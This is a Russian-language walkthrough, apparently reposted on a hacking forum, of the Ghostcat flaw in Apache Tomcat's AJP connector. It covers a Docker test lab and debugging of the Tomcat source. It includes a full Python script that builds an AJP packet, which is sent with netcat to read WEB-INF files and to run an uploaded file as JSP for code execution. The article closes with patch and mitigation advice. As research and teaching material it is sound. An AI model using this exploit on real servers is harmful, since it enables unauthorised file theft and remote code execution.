Кот-призрак. Как эксплуатировать новую RCE-уязвимость в веб-сервере Apache Tomcat

Кот-призрак. Как эксплуатировать новую RCE-уязвимость в веб-сервере Apache Tomcat

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Сегодня я рассмотрю уязвимость в Apache Tomcat, которая позволяет читать файлы на сервере и при определенных условиях выполнять произвольный код. Проблема скрывается в особенностях реализации протокола AJP, по которому происходит взаимодействие с сервером Tomcat. Для эксплуатации злоумышленнику не требуется каких-либо прав в целевой системе.

Tomcat — это контейнер сервлетов с открытым исходным кодом. Он написан на языке Java и реализует такие спецификации, как JavaServer Pages (JSP) и JavaServer Faces (JSF). Это один из наиболее популярных веб-серверов, особенно часто он используется в корпоративной среде. Его ставят как самостоятельное решение или в качестве контейнера сервлетов в различных серверах приложений, например GlassFish или JBoss.

Баг нашел исследователь из Chaitin Tech в начале этого года. Уязвимость получила статус критической. Как сейчас стало модно, она обзавелась собственным названием — Ghostcat — и логотипом в виде кота-призрака.

Уязвимость позволяет злоумышленнику читать произвольные файлы на целевой системе внутри директории appBase. Реализация протокола AJP (Apache JServ Protocol) позволяет контролировать атрибуты, которые отвечают за формирование пути до запрашиваемых файлов. Специально сформированный запрос на сервер позволяет прочитать содержимое файлов, доступ к которым невозможен в других условиях. Если можно загрузить файл на сервер, существует риск использования уязвимости для выполнения произвольного кода.

Тестовый стенд

Начнем со стенда для тестирования уязвимости. Для этого достаточно запустить контейнер Docker из официального репозитория Tomcat.

docker run -it --rm -p 8080:8080 -p 8009:8009 tomcat:9.0.30

Очень важно расшарить порт 8009, это AJP-протокол, в котором и была найдена уязвимость.

Если хочется вместе со мной возиться с отладкой приложения, то нужно действовать немного по-другому. Для дебага я буду использовать IntelliJ IDEA. Сначала скачаем уязвимую версию Apache Tomcat. Я взял 9.0.30. Распакуем и откроем проект в IDEA. Теперь создадим новую конфигурацию отладки с шаблоном Remote.

Здесь в поле Command line arguments строка с параметрами, которые нужно указать при запуске сервера. Рекомендую выбрать версию JDK 1.4.x.

Сами параметры можно передать в Docker с помощью ключа -e или --env. Переменная окружения, используемая для этих целей, называется JAVA_OPTS. Обрати внимание на опцию suspend: если она включена (suspend=y), Java будет приостанавливать загрузку виртуальной машины и ждать подключения отладчика и только после успешного коннекта продолжит запуск. У меня получилась такая строка.

-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=*:5005

Запускаем контейнер. Не забывай пробрасывать порт, который указал для удаленной отладки.

docker run -it --rm -p 8080:8080 -p 8009:8009 -p 5005:5005 --name=tomcatrce --hostname=to

Открываем браузер, переходим на запущенный сервер (не забывай, что порт — 8080) и наблюдаем страницу 404. Дело в том, что в последних версиях официального докер-контейнера Tomcat папка webapps со стандартными приложениями была переименована в webapps.dist. Достаточно удалить папку и создать симлинк на оригинальную версию директории.

docker exec tomcatrce rm -rf /usr/local/tomcat/webapps
docker exec tomcatrce ln -s /usr/local/tomcat/webapps.dist /usr/local/tomcat/webapps

После этого обновляем страницу и видим приветствие сервера Tomcat.

Tomcat работает, теперь дело за фронтендом, который поможет нам в исследовании AJP. Я создам еще один контейнер на основе Debian.

docker run -it --rm -p 80:80 --name=apache --hostname=apache --link=tomcatrce debian /bin/bash

Понятно из названия, какой веб-сервер я буду использовать в качестве фронта, — Apache. Устанавливаем.

apt update && apt install -y nano apache2

Я выбрал его, так как он проще в настройке прокси до Tomcat. Ты можешь использовать любой другой веб-сервер по желанию.

Включаем модуль для работы прокси с протоколом AJP.

a2enmod proxy_ajp

Теперь редактируем стандартный конфиг виртуального хоста (/etc/apache2/sites-enabled/000-default.conf) и указываем адрес Tomcat.

ProxyPass / ajp://tomcatrce:8009/

И перезагружаем Apache.

service apache2 restart

Помимо веб-сервера, нам также понадобится какой-нибудь сниффер. Я буду использовать Wireshark. На этом стенд готов. Кстати, если ты не любишь Docker, то есть вариант скачать с сайта разработчика версию с готовыми бинарниками. Все версии можно найти в разделе с архивами.

Теперь можно переходить к разбору уязвимости.

Детали уязвимости. Чтение произвольных файлов на сервере

Apache JServ Protocol (AJP) — это бинарный протокол, созданный ради избавления от избыточности HTTP. AJP гораздо более эффективен, обладает высокой производительностью благодаря значительной оптимизации и отлично масштабируется.

AJP обычно используется для балансировки нагрузки, когда один или несколько внешних веб-серверов (front-end) отправляют запросы на сервер (или серверы) приложений. Сессии направляются к нужному благодаря механизмам роута, где каждый сервер приложений получает свое имя.

В современных Tomcat используется AJP 1.3 (AJP13). Поскольку это двоичный протокол, браузер напрямую не может отправлять запросы AJP13. Поэтому в качестве фронтенда выступает любой популярный веб-сервер — nginx, Apache, IIS.

По дефолту Tomcat принимает запросы AJP на порте 8009.

/tomcat9.0.30/conf/server.xml

<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

Видим, что директива address отсутствует, поэтому AJP доступен на всех IPv4-адресах локальной машины.

Такая настройка крайне небезопасна, и сейчас ты поймешь почему.

Для начала нам нужно разобраться в формате пакетов AJP. Запустим Wireshark и сгенерируем любой легитимный запрос к серверу по AJP. В этом как раз поможет фронтенд в виде веб-сервера Apache.

Первые два байта в пакете — это Magic, который меняется в зависимости от направления отправки. Пакеты, отправленные от веб-сервера к контейнеру Tomcat, начинаются с 0x1234, а от контейнера к веб-серверу — 0x4142 (строка AB, если переводить в ASCII). В рамках уязвимости нас интересует только структура пакета, отправленного от клиента к контейнеру, то есть 0x1234.

Следующие два байта — это размер тела пакета. Это обычное числовое значение типа integer. Далее идет байт, который в большинстве случаев указывает на тип сообщения. С него начинается подсчет длины тела пакета.

Существуют следующие типы сообщений от веб-сервера к Tomcat.

Сразу привлекает внимание пакет с кодом 0x7 (Shutdown), который выключает сервер. Спешу тебя разочаровать — пакет такого плана обработается только в том случае, если он отправлен с хоста, на котором запущен Tomcat.

Нас интересует код 0х2. С таким кодом отправляются, например, обычные сообщения типа GET/POST. Формат тела такого сообщения выглядит следующим образом.

AJP13_FORWARD_REQUEST :=
    prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
    method           (byte)
    protocol         (string)
    req_uri          (string)
    remote_addr      (string)
    remote_host      (string)
    server_name      (string)
    server_port      (integer)
    is_ssl           (boolean)
    num_headers      (integer)
    request_headers *(req_header_name req_header_value)
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF

За кодом идет метод. Список соотношения базовых методов с их байт-кодами выглядит таким образом.

OPTIONS => 1
GET     => 2
HEAD    => 3
POST    => 4
PUT     => 5
DELETE  => 6
TRACE   => 7

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java

// Translates integer codes to names of HTTP methods
private static final String [] methodTransArray = {
    "OPTIONS",
    "GET",
    "HEAD",
    "POST",
    "PUT",
    "DELETE",
    "TRACE",
    ...

В нашем пакете используется метод GET, поэтому и значение байта — 0x2.

Далее все содержимое пакета довольно привычно и похоже на обычный HTTP-запрос. После параметра is_ssl начинается блок заголовков запроса (request_headers). Следующие два байта (num_headers) отвечают за общее количество заголовков в запросе. Следом за ним перечисляются сами хидеры. Каждый заголовок имеет следующий формат:

0xA0 + <тип_хидера>[1 байт] + <длина_хидера>[2 байта] + <значение_хидера>[строка_размера_длины_хидера] + <конец_хидера>[байт 0x00]

Коды для стандартных заголовков определены в коде.

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java

// id's for common request headers
public static final int SC_REQ_ACCEPT          = 1;
public static final int SC_REQ_ACCEPT_CHARSET  = 2;
public static final int SC_REQ_ACCEPT_ENCODING = 3;
public static final int SC_REQ_ACCEPT_LANGUAGE = 4;
public static final int SC_REQ_AUTHORIZATION   = 5;
public static final int SC_REQ_CONNECTION      = 6;
public static final int SC_REQ_CONTENT_TYPE    = 7;
public static final int SC_REQ_CONTENT_LENGTH  = 8;
public static final int SC_REQ_COOKIE          = 9;
public static final int SC_REQ_COOKIE2         = 10;
public static final int SC_REQ_HOST            = 11;
public static final int SC_REQ_PRAGMA          = 12;
public static final int SC_REQ_REFERER         = 13;
public static final int SC_REQ_USER_AGENT      = 14;

Некоторые заголовки крайне важны, например если content-length (0xA008) ненулевой, то Tomcat будет предполагать, что запрос имеет тело (как, например, POST-запрос), и попытается прочитать отдельный пакет.

За блоком хидеров следует блок атрибутов. Его использование опционально, но это самая важная часть для понимания уязвимости.

Существует несколько типов основных атрибутов, каждый из них имеет код, а структура идентична структуре хидеров.

<тип_атрибута>[1 байта] + <длина_атрибута>[2 байта] + <значение_атрибута>[строка_размера_длины_атрибута] + <конец_атрибута>[байт 0x00]

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java

// Integer codes for common (optional) request attribute names
public static final byte SC_A_CONTEXT       = 1;  // XXX Unused
public static final byte SC_A_SERVLET_PATH  = 2;  // XXX Unused
public static final byte SC_A_REMOTE_USER   = 3;
public static final byte SC_A_AUTH_TYPE     = 4;
public static final byte SC_A_QUERY_STRING  = 5;
public static final byte SC_A_JVM_ROUTE     = 6;
public static final byte SC_A_SSL_CERT      = 7;
public static final byte SC_A_SSL_CIPHER    = 8;
public static final byte SC_A_SSL_SESSION   = 9;
public static final byte SC_A_SSL_KEY_SIZE  = 11;
public static final byte SC_A_SECRET        = 12;
public static final byte SC_A_STORED_METHOD = 13;

Однако любое количество других атрибутов может быть передано и через тип req_attribute (0x0A). Пара имя:значение атрибута передается сразу же после указания этого кода. В этом случае структура примет следующий вид:

0x0a[тип req_attribute] + <длина_имени_атрибута>[2 байта] + <имя_атрибута>[строка_размера_длины_имени_атрибута] + <конец_имени_атрибута>[байт 0x00] + <длина_значения_атрибута>[2 байта] + <значение_атрибута>[строка_размера_длины_значения_атрибута] + <конец_значения_атрибута>[байт 0x00]

Например, так передаются переменные окружения. После перечисления необходимых атрибутов отправляется байт-терминатор (0xFF), который означает не только конец списка атрибутов, но и окончание всего пакета. Именно до него считается длина тела пакета.

Вернемся в Wireshark. Сейчас в моем запросе отправляются два атрибута.

AJP_REMOTE_PORT: 60588
AJP_LOCAL_ADDR: 127.0.0.1

В коде за обработку APJ-запросов отвечает класс AjpProcessor.

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java

/**
 * AJP Processor implementation.
 */
public class AjpProcessor extends AbstractProcessor {

Поставим брейк-пойнт в отладчике на участок кода, где происходит обработка дополнительных атрибутов, — метод prepareRequest.

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java

private void prepareRequest() {
    ...
    // Decode extra attributes
    String requiredSecret = protocol.getRequiredSecret();
    boolean secret = false;
    byte attributeCode;
    while ((attributeCode = requestHeaderMessage.getByte()) != Constants.SC_A_ARE_DONE) {
        switch (attributeCode) {
        case Constants.SC_A_REQ_ATTRIBUTE :
            requestHeaderMessage.getBytes(tmpMB);
            String n = tmpMB.toString();
            requestHeaderMessage.getBytes(tmpMB);
            String v = tmpMB.toString();

Повторно отправим запрос в браузере и перейдем в дебаггер.

В переменные n и v попадают имя и значение атрибута соответственно. А дальше происходит нечто интересное.

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java

if(n.equals(Constants.SC_A_REQ_LOCAL_ADDR)) {
    request.localAddr().setString(v);
} else if(n.equals(Constants.SC_A_REQ_REMOTE_PORT)) {
    try {
        request.setRemotePort(Integer.parseInt(v));
    } catch (NumberFormatException nfe) {
        // Ignore invalid value
    }
} else if(n.equals(Constants.SC_A_SSL_PROTOCOL)) {
    request.setAttribute(SSLSupport.PROTOCOL_VERSION_KEY, v);
} else {
    request.setAttribute(n, v );
}
break;

Если имя атрибута не входит в число обрабатываемых, то управление передается на строку 732, где вызывается метод setAttribute.

/tomcat9.0.30/java/org/apache/coyote/ajp/AjpProcessor.java

request.setAttribute(n, v );

/tomcat9.0.30/java/org/apache/coyote/Request.java

public void setAttribute( String name, Object o ) {
    attributes.put( name, o );
}

Но в моем случае атрибут AJP_REMOTE_PORT входит в список тех, на которые есть отдельные ветки условия (константа SC_A_REQ_LOCAL_ADDR).

/tomcat9.0.30/java/org/apache/coyote/ajp/Constants.java

/**
 * AJP private request attributes
 */
public static final String SC_A_REQ_LOCAL_ADDR  = "AJP_LOCAL_ADDR";
public static final String SC_A_REQ_REMOTE_PORT = "AJP_REMOTE_PORT";
public static final String SC_A_SSL_PROTOCOL    = "AJP_SSL_PROTOCOL";

Что это за атрибуты и почему они так важны?

Когда через AJP делаем запрос к статичному контенту (картинки, стили, HTML-страницы и так далее), то Tomcat обрабатывает такие запросы при помощи DefaultServlet.

/tomcat9.0.30/conf/web.xml

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    ...
<servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/</url-pattern>

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java

public class DefaultServlet extends HttpServlet {

При получении содержимого файла вызывается метод serveResource. Давай поставим на него брейк-пойнт и сделаем GET-запрос к какой-нибудь статике, например к логотипу Tomcat — http://apache.vh/tomcat.png.

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java

protected void doGet(HttpServletRequest request,
                     HttpServletResponse response)
    throws IOException, ServletException {
    // Serve the requested resource, including the data content
    serveResource(request, response, true, fileEncoding);
}

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java

protected void serveResource(HttpServletRequest request,
                             HttpServletResponse response,
                             boolean content,
                             String inputEncoding)
    throws IOException, ServletException {
    boolean serveContent = content;
    // Identify the requested resource path
    String path = getRelativePath(request, true);

Сначала происходит вызов getRelativePath. Это метод для получения относительного пути до файла.

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java

protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
    ...
    String servletPath;
    String pathInfo;
    if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
        ...
    } else {
        pathInfo = request.getPathInfo();
        servletPath = request.getServletPath();
    }

В процессе получаются две переменные pathInfo и servletPath. При помощи обычных запросов управлять первой мы не можем.

Переменная servletPath — это путь до запрашиваемого файла в контексте текущего сервлета. Я пытаюсь открыть файл из корня — URI: /tomcat.png. По умолчанию его будет обрабатывать сервлет ROOT.

Надеюсь, ты уже заметил интересное условие (строка 434), которое передает управление на рассмотренную выше логику. Как видишь, здесь присутствуют атрибуты. В этом условии выполняется проверка javax.servlet.include.request_uri.

/tomcat9.0.30/java/org/apache/catalina/servlets/DefaultServlet.java

protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
    ...
    if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
        // For includes, get the info from the attributes
        pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
        servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
    } else {

/tomcat9.0.30/java/javax/servlet/RequestDispatcher.java

static final String INCLUDE_REQUEST_URI = "javax.servlet.include.request_uri";

Если он не пустой, то путь до файла, который нужно прочитать, формируется напрямую из атрибутов. В этом участвуют javax.servlet.include.path_info и javax.servlet.include.servlet_path.

/tomcat9.0.30/java/javax/servlet/RequestDispatcher.java

static final String INCLUDE_PATH_INFO = "javax.servlet.include.path_info";
...
static final String INCLUDE_SERVLET_PATH = "javax.servlet.include.servlet_path";

В текущем запросе атрибуты отсутствуют.

Нужно это исправить и проверить, как формируется путь в этом случае. Для этого нужно сгенерировать зарос AJP, в котором будут присутствовать указанные атрибуты. Я воспользуюсь Python 3 для формирования пакета. Рекомендую использовать именно третью версию, так как там проще обращаться с бинарными данными.

Для начала подключим модуль struct, без него никуда.

ajp-packet.py

import struct

Затем нужно сделать функцию, которая будет преобразовывать строки в формат протокола AJP. Это здорово сэкономит время.

<длина_строки>[2 байта] + <строка> + <конец_строки>[байт 0x00]

ajp-packet.py

def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)

Теперь просто идем по структуре запроса. Сначала константа Magic для пакетов, передаваемых от клиента к серверу Apache.

ajp-packet.py

magic = 0x1234

Далее идет длина. С ней мы разберемся в самом конце, сначала же нужно сформировать сам запрос. Поэтому просто идем по структуре AJP13_FORWARD_REQUEST.

AJP13_FORWARD_REQUEST :=
    prefix_code      (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
    method           (byte)
    protocol         (string)

ajp-packet.py

prefix_code = struct.pack("b", 2) # forward request
method = struct.pack("b", 2) # GET
protocol = pack_string("HTTP/1.1")

Теперь указываем URI запроса. С его помощью можно определить сервлет, в контексте которого будет выполняться поиск файла. Проще говоря, если ты хочешь прочитать файлы из директории examples, то здесь нужно указать /examples/filename. Важна только директория, ведь наша задача — сформировать путь до читаемого файла при помощи атрибутов. Сейчас я пробую читать файл из ROOT, поэтому указываю /anything.

ajp-packet.py

req_uri = pack_string("/anything")

Продолжаем формирование запроса.

AJP13_FORWARD_REQUEST :=
    ...
    remote_addr      (string)
    remote_host      (string)
    server_name      (string)
    server_port      (integer)
    is_ssl           (boolean)
    num_headers      (integer)
    request_headers *(req_header_name req_header_value)
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF

ajp-packet.py

remote_addr = pack_string("127.0.0.1")
remote_host = pack_string(None)
server_name = pack_string("tomcatrce")
server_port = struct.pack(">h", 80)
is_ssl = struct.pack("?", False)

После флага ssl идет блок заголовков. Нам они не нужны — указываем количество хидеров, равное нулю. Не забываем, что в пакете размер чисел — два байта.

ajp-packet.py

num_headers = struct.pack(">h", 0)

Пришло время блока атрибутов. Атрибут javax.servlet.include.request_uri можно оставить пустым. Главное, чтобы он просто был в пакете, для прохождения проверки в условии. Два других взаимозаменяемы, и на их основе формируется путь до файла на сервере. Воспользуемся атрибутом javax.servlet.include.path_info, а javax.servlet.include.servlet_path оставим пустым.

Теперь нужно определить, какой файл стоит попробовать прочитать. Давай замахнемся на /ROOT/WEB-INF/web.xml. В обычных условиях он не читается, так как при парсинге запроса выполняется проверка пути.

/tomcat9.0.30/java/org/apache/catalina/core/StandardContextValve.java

final class StandardContextValve extends ValveBase {
    ...
    public final void invoke(Request request, Response response)
        ...
        // Disallow any direct access to resources under WEB-INF or META-INF
        MessageBytes requestPathMB = request.getRequestPathMB();
        if ((requestPathMB.startsWithIgnoreCase("/META-INF/", 0))
                || (requestPathMB.equalsIgnoreCase("/META-INF"))
                || (requestPathMB.startsWithIgnoreCase("/WEB-INF/", 0))
                || (requestPathMB.equalsIgnoreCase("/WEB-INF"))) {
            response.sendError(HttpServletResponse.SC_NOT_FOUND);
            return;
        }

Разумеется, это происходит до получения содержимого запрашиваемого файла и в проверке участвует только request_uri. Поэтому если мы укажем этот путь в атрибуте javax.servlet.include.path_info, то должны будем обойти проверку и прочитать файл.

AJP13_FORWARD_REQUEST :=
    ...
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF

ajp-packet.py

attributes = {
            'javax.servlet.include.request_uri': '',
            'javax.servlet.include.path_info': '/WEB-INF/web.xml',
            'javax.servlet.include.servlet_path': '',
            }
end = struct.pack("B", 0xff)

Теперь собираем все переменные в одну data. Это будет тело запроса.

ajp-packet.py

data = prefix_code
data += method
data += protocol
data += req_uri
data += remote_addr
data += remote_host
data += server_name
data += server_port
data += is_ssl
data += num_headers

Не забываем про атрибуты.

ajp-packet.py

attr_code = struct.pack("b", 0x0a) # SC_A_REQ_ATTRIBUTE
for n, v in attributes.items():
    data += attr_code
    data += pack_string(n)
    data += pack_string(v)
data += end # packet terminator byte 0xff

Дальше посчитаем длину получившегося запроса и запишем ее в заголовок после магической константы.

ajp-packet.py

header = struct.pack(">hH", magic, len(data))

Соединяем заголовок пакета и тело. Полученный результат выводим в виде hex-строки.

ajp-packet.py

request = header + data
print(request.hex())

Для отправки буду использовать стандартный netcat, а hex-строку преобразовывать в бинарные данные с помощью xxd.

python3 ajp-packet.py | xxd -r -p | nc tomcatrce.vh 8009

Отправляем пакет и в отладчике видим, что мы попали в нужную ветку кода.

Благодаря javax.servlet.include.path_info путь до файла стал /WEB-INF/web.xml вместо указанного в request_uri /anything.

Именно этот файл и будет прочитан менеджером ресурсов.

Вот так мы незаметно проэксплуатировали ошибку чтения произвольного файла (Arbitrary File Read) на сервере. К сожалению, выйти из директории webapps не получится, так как путь проходит санитизацию при помощи normalize, который вызывается из метода validate.

/tomcat9.0.30/java/org/apache/catalina/webresources/StandardRoot.java

private String validate(String path) {
    ...
    if (path == null || path.length() == 0 || !path.startsWith("/")) {
        ...
        result = RequestUtil.normalize(path, false);
        ...
    if (result == null || result.length() == 0 || !result.startsWith("/")) {
        throw new IllegalArgumentException(
                sm.getString("standardRoot.invalidPathNormal", path, result));

Так что для чтения доступны файлы, которые находятся внутри веб-рута, appbase в конфиге.

/tomcat9.0.30/conf/server.xml

<Host name="localhost"  appBase="webapps" unpackWARs="true" autoDeploy="true">

Готовый скрипт для тестирования можно скачать c моего Гитхаба.

Но это не единственная проблема, которую вызывает манипулирование атрибутами запроса.

Выполнение произвольного кода

Как я уже говорил, вся статика обрабатывается при помощи DefaultServlet. А что с динамическими страницами? Tomcat поддерживает JavaServer Pages (JSP), за обработку которых отвечает JspServlet.

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java

public class JspServlet extends HttpServlet implements PeriodicEventListener {

А вызывается он в тех случаях, когда запрос отправляется на файлы, попадающие под маску *.jsp и *.jspx.

/tomcat9.0.30/conf/web.xml

<servlet>
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
    ...
<servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspx</url-pattern>

Выбор того, какой класс будет обрабатывать запрос, делается на основе URI: если я запрашиваю файл /anything.jsp, то обрабатывать запрос будет JspServlet. Посмотрим, как здесь формируется путь до файла.

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java

public void service (HttpServletRequest request, HttpServletResponse response)
    ...
    if (jspUri == null) {
        ...
        jspUri = (String) request.getAttribute(
                RequestDispatcher.INCLUDE_SERVLET_PATH);
        if (jspUri != null) {
            ...
            String pathInfo = (String) request.getAttribute(
                    RequestDispatcher.INCLUDE_PATH_INFO);
            if (pathInfo != null) {
                jspUri += pathInfo;
            }
        }

А здесь все то же самое: если присутствуют атрибуты, то путь формируется на их основе. То есть если я отправлю запрос на любой файл (даже несуществующий) с расширением .jsp или .jspx, а затем при помощи javax.servlet.include.path_info поменяю путь на другой файл — он будет интерпретирован и обработан как JavaServer Pages.

Создадим файл test.txt в директории ROOT.

/ROOT/test.txt

<% out.print("Hello from JSP compiler!"); %>

Внесем необходимые изменения в наш скрипт.

ajp-packet.py

req_uri = pack_string("/anything.jsp")
    ...
    'javax.servlet.include.path_info': '/test.txt',

И снова отправим получившийся запрос. Параметр jspUri будет сформирован из атрибутов, и получится, что он указывает на текстовый файл. Тем не менее он передается на исполнение как JSP в serviceJspFile.

/tomcat9.0.30/java/org/apache/jasper/servlet/JspServlet.java

public void service (HttpServletRequest request, HttpServletResponse response)
    ...
    serviceJspFile(request, response, jspUri, precompile);

JSP-код успешно выполнился, так что можно использовать любой пейлоад для выполнения системных команд.

С тем, чтобы доставить файл с нужным пейлоадом на сервер, проблем, я думаю, не возникнет. Вспомни, когда ты последний раз видел приложение без возможности загрузки файлов (картинок, например)? Загрузить картинку с нужным кодом внутри не составляет никакого труда.

На просторах интернета ты найдешь множество скриптов, автоматизирующих эту атаку. Вот, например, модуль AJPy для Python, в котором реализована возможность эксплуатации уязвимости.

Заключение

Рассмотренная уязвимость отлично демонстрирует, как небольшой мисконфиг может быть опасен для всего окружения. Рекомендую внимательно относиться к настройке каждого объекта в инфраструктуре и отключать неиспользуемые функции и протоколы, чтобы минимизировать потенциальные точки входа для злоумышленников.

Уязвимость была оперативно исправлена в новых версиях Apache Tomcat, так что обновляйся на 9.0.31, 8.5.51 и 7.0.100, в зависимости от используемой ветки приложения. Если на данный момент нет такой возможности, то отключи использование протокола AJP.

/conf/server.xml.old

<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

/conf/server.xml

<!-- Define an AJP 1.3 Connector on port 8009 -->
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> --!>

Ну а если этот протокол используется в работе, то ставь патчи для своей версии (7.x8.x9.x).

Источник

Report Page